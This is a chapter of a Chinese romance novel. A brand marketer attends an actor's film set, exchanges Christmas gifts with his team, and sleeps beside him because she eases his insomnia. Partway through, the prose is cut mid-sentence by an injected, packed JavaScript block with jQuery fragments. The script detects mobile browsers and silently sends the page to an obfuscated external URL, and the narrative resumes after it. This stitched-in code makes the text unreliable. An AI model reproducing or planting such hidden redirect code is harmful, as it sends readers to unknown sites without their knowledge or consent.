16
周日天空放晴,印象里的阴雨连绵已然过去,何屿早就去了片场。伊林拿出工作电脑,在庭院洒满阳光的户外椅上工作。
第一次PPM按照伊林要求在上午十点半进行,如果有任何问题还有一整个下午调整。PPM进行了两个半小时,伊林转达何屿工作室负责整体造型,外景场地、置景风格、对手演员、特效设计都过得比较顺利,大部分时间都在调整拆分至秒的分镜镜头。
目前整片计划长达两分半至三分钟,伊林与导演过了上百个镜头。在交流过程中,伊林注意到,导演对何屿的个人气值与表演风格都比较了解,很多镜头设计得柔和诗意又独立避世。两个人倒不像甲方乙方,更像联合创作人。
置景需要调整的地方不多,也就意味着明天的PPM直接与何屿方过整体脚本与妆造即可。伊林微信与方华确认明日何屿时间后,同步制作团队明日上午11点与何屿团队进行最终PPM。
会议中途,管家阿姨进来庭院与伊林打了招呼。她没有去片场,何屿团队就为她在家中安排午餐。
吃好午餐,伊林带着准备好的圣诞礼物去往片场。她没有再麻烦方华派车,正准备叫电召出租车,阿姨却告诉她,车库里给她备了车,车钥匙就在客厅桌上。
伊林有些惊讶,但也很快接受。何屿团队对她的照顾有些过头,也全是因为她是何屿的“睡眠特效药。”她拿起车钥匙,去车库开了奔驰E450,前往片场。
到片场,何屿正巧在休息室里看回放。伊林没有打扰他与凯西,先去与方华聊周二的官宣TVC拍摄。方华问得很细,得知脚本由伊林所写,她中途打通了工作室造型师电话,让伊林直接与造型师沟通。
与方华聊完脚本,伊林看向何屿的方向。演员已回到镜头前,大监视器前只剩下张凯西。
下午拍摄的戏份是林其卫抓住机会,拉到一笔意想不到的海外投资,以让出部分决策权的方式将频临倒闭的公司扛下来。投资者是美国人,林其卫要与对方整个团队对弈合同权利,伊林发现,何屿的英语口音是纯正的英式RP.何屿提起过,他曾在寄宿学校有很不好的回忆……大概率,他上的是伊顿公学。
伊林再一次沉浸入对何屿表演的欣赏中去。尽管使用的是另一种语言,不再如同汉语般有抑扬顿挫的声调与颗粒感,他依然将台词的力量表现得很好。在与美国资方争取权益时,他的眼神变得笃定,坚毅、这让他美丽显得强势——他减少头部与肩部动作,几乎不眨眼睛,在这一刻,伊林仿佛看到何屿的父亲。如果他没有成为演员,而是成为家族的继承者,那么他现在的样貌应该与此类似。
伊林忽然察觉一种答案——何屿为什么与自己的父亲关系紧张。在演员何屿的私人生活里,他的表情总是温和、淡漠,带着避世般的安宁。伊林从未见过他在人前预演,也从未见过他对团队长篇大论的发表些什么。他不是一个外放的领导型人格,他的观察、思考,都是个人的、安静的、纳于心底,不欲表达的。管理一个企业所需要的外显的雄心壮志,冷血强悍,虚与委蛇,杀伐决断,都不是何屿想要拥有的品格。而这只是一个父权社会中,对于权力型男人的基本定义,在此之上,还需要有更强悍、坚硬、不可挑战、极致权威的绝对自信。何屿游走在各个角色中的放空自我,注定了他是一个平衡于思考和推翻之间的内倾者。他这种类型演员所代表的对人类共感的深入探索与理解,注定了他们不可能为自己裹上一层坚硬的壳,去拒绝自我向外和他人向内的一切情感互动与表达。演员何屿,与属于他父亲的何氏集团,注定并非同类。
这一段表演结束,何屿马上恢复他的一般状态。不可否认,身穿力量感90年代大领西装,将半长的褐色头发全部吹至耳后,坐在办公椅上看剧本的何屿,天然自带职场高层的精英感与距离感。伊林不禁开始幻想,如果何屿是他的同事,不,应该是她的上司,他们的相处又会如何。
尽管何屿不想承认,但他可塑性极强的外在条件,的确让在他在演员这条路上加分不少。虽然他追求的是一种有关人性的内在理解与外在释放,但如果没有这副出色外形的加持,以他无意争抢、淡漠避世的处世态度,机会不会降临。
李伊林计划安排何屿拍摄一组正装硬照,不是用来表现腕表,而是戒指与手镯。他内敛的力量感会与这些首饰的纯粹明亮形成对照,为男性受众带去向往感。在电视剧播出时释出,出爆品的几率会呈几何倍上升。
下午的戏份在6点半拍摄完毕,导演没有要求再继续赶戏。今日周六,全剧组的人都在饭点准时下班。
晚餐方华安排在城里吃。是一家老钱风新派粤菜馆,店内环境将90年代的繁复主义与新千年的极简主义相结合,复古而典雅。换了一身浅色宽松衬衫与休闲裤的何屿坐在其中,相得益彰。
开餐前,伊林拿出迟来的圣诞礼物送给每一个人。方华立刻换上了手机壳,凯西马上将笔和笔记本拍照发了朋友圈,两位助理互相换了对方的围巾自拍。唯独何屿没有立刻拆开。他将礼物盒放在桌边,微笑看着伊林,对她说谢谢。
上前菜茶点时,今日无戏份的项英琦意外出现。她热络与所有人打了招呼,却坐在伊林旁边,全程都在主动与她聊天。她们互相聊了最喜欢吃的东西,广州最值得去玩的地方,最近一次旅行,项英琦家里养的柯基,伊林家楼下跑来跑去的小野猫……何屿坐在伊林的另一边,全程很安静。
一顿饭吃到9点,各自回去休息。项英琦与伊林相约次日中午在片场吃饭,潇洒与何屿道了再见。
回到庭院已过十点。伊林与何屿先各自冲了澡,再回到主卧。何屿将大家送给伊林的圣诞礼物都堆在伊林床上,像座小山。
“来拆礼物。”他坐在自己床上,盘着腿,微笑对她说。
“这么多……”伊林有些不好意思,又马上接过何屿扔过来的礼物小盒。
“最小的是我的。”他笑得放松可爱。
“那我最后拆。”伊林很珍惜它,将它放在枕头下。然后她一个一个拆开面前的礼物盒——方华送了她苹果形状的香薰蜡烛,凯西送了她很漂亮的小王子书灯,两位助理分别送了她新年艺术日历、手工牛仔书衣……这些礼物明显比她的更浪漫、更有趣、更富有想象力。
伊林一边止不住的开心,一边又有些不好意思。她送出去的那些礼物一看即知,是在商场集中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459251|169676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
采购。多年以来,伊林从未真正给任何人用心准备过礼物,只挑选对方常用的贵价品即可。她在心中暗下决定,到农历新年,她会好好想想要送何屿什么礼物。
“还有一个,被你塞到枕头下了。”何屿盘起双腿,曲起左臂抵在膝盖上,再用左手托腮提醒她。暖光之中看过去,他就像个大男孩。
“……差点忘了。”伊林故意说。她抽出枕头下的小礼盒。小心翼翼拆开它——是一张企鹅书卡,无限额。
“我不知道你还缺什么书,干脆给你书卡。”何屿向她解释。“将来,你也可以用它买你自己的书。”他带着笑意的漂亮眼睛看着她,像在看向一个梦。
“……谢谢。”伊林鼻子发酸。她低下头避开何屿视线,忍住泪水。她发现,在他身边,自己总是情绪失控。
“我先把礼物收起来。”伊林假装忙碌、将床上礼物收至桌台。她将书卡放入卡包,那里面有她的身份证,社保卡,信用卡,储蓄卡……这张无限度书卡,构成了一个更完整的她。
回到床上,伊林闻到熟悉的乌木沉香。是何屿点燃了她送的香薰。男子已放松躺在床上,不同的是,他让出了靠近伊林的左半边床铺。
“……要不要跟我一起睡?”他回看伊林,友善问她。
“……好。”尽管伊林知道,这样的邀请对何屿不算什么,但对伊林来说已不平静。她无法拒绝他。
“我先去关灯。”她再度避开何屿视线。
关掉大灯,房间中只剩下香薰发出的微弱暖光。伊林走去另一张床上躺下,掀开被子盖好。然后,是另一个人的靠近。
“……明天你大概什么时候有空?要约你一小时时间,做利希斯品牌TVCPPM。”?“方华之前跟我讲过。明早我没有戏,可以约在11-12点。”
“好。”这是早就与方华确认好的时间,何屿肯定也知道。但他没有戳破伊林的没话找话。或许,他知道她在紧张。
“周二拍摄,你……周四回上海?”
“嗯。”何屿只是躺在她身后,但并没有进一步靠近,他们并没有身体接触。
“……五个晚上。这五个晚上,都跟我一起睡吧。”男子的声音很轻柔。
“为了你的睡眠利息?”伊林轻笑着挑破他。
“嗯。为了我的睡眠利息,委屈你挤一挤。”何屿的声音,带着放松的笑意。
“……勉为其难答应你了。”伊林装作宽宏大量。
“谢谢。”何屿的尾音变得有些哑。“有空一起去小酒馆。”
“好。”伊林想起,这是不久之前他们曾经的约定。“期待你的易容术。”
“没问题……”何屿的声音开始喑哑,像是被埋入被子里。与伊林的太过接近,会让他不自觉变得嗜睡。
“快睡吧,晚安。”伊林决定放他进入睡眠。
“晚安……”
何屿的呼吸渐渐平稳。他在睡梦中进一步靠近她。
隔着柔软的真丝布料,伊林依旧能感受到对方皮肤的温热。这是她喜欢上的男子,他美丽,沉静,复杂,干净。
她翻过身来,伸出手去,轻轻抱住他。
她不再挣扎。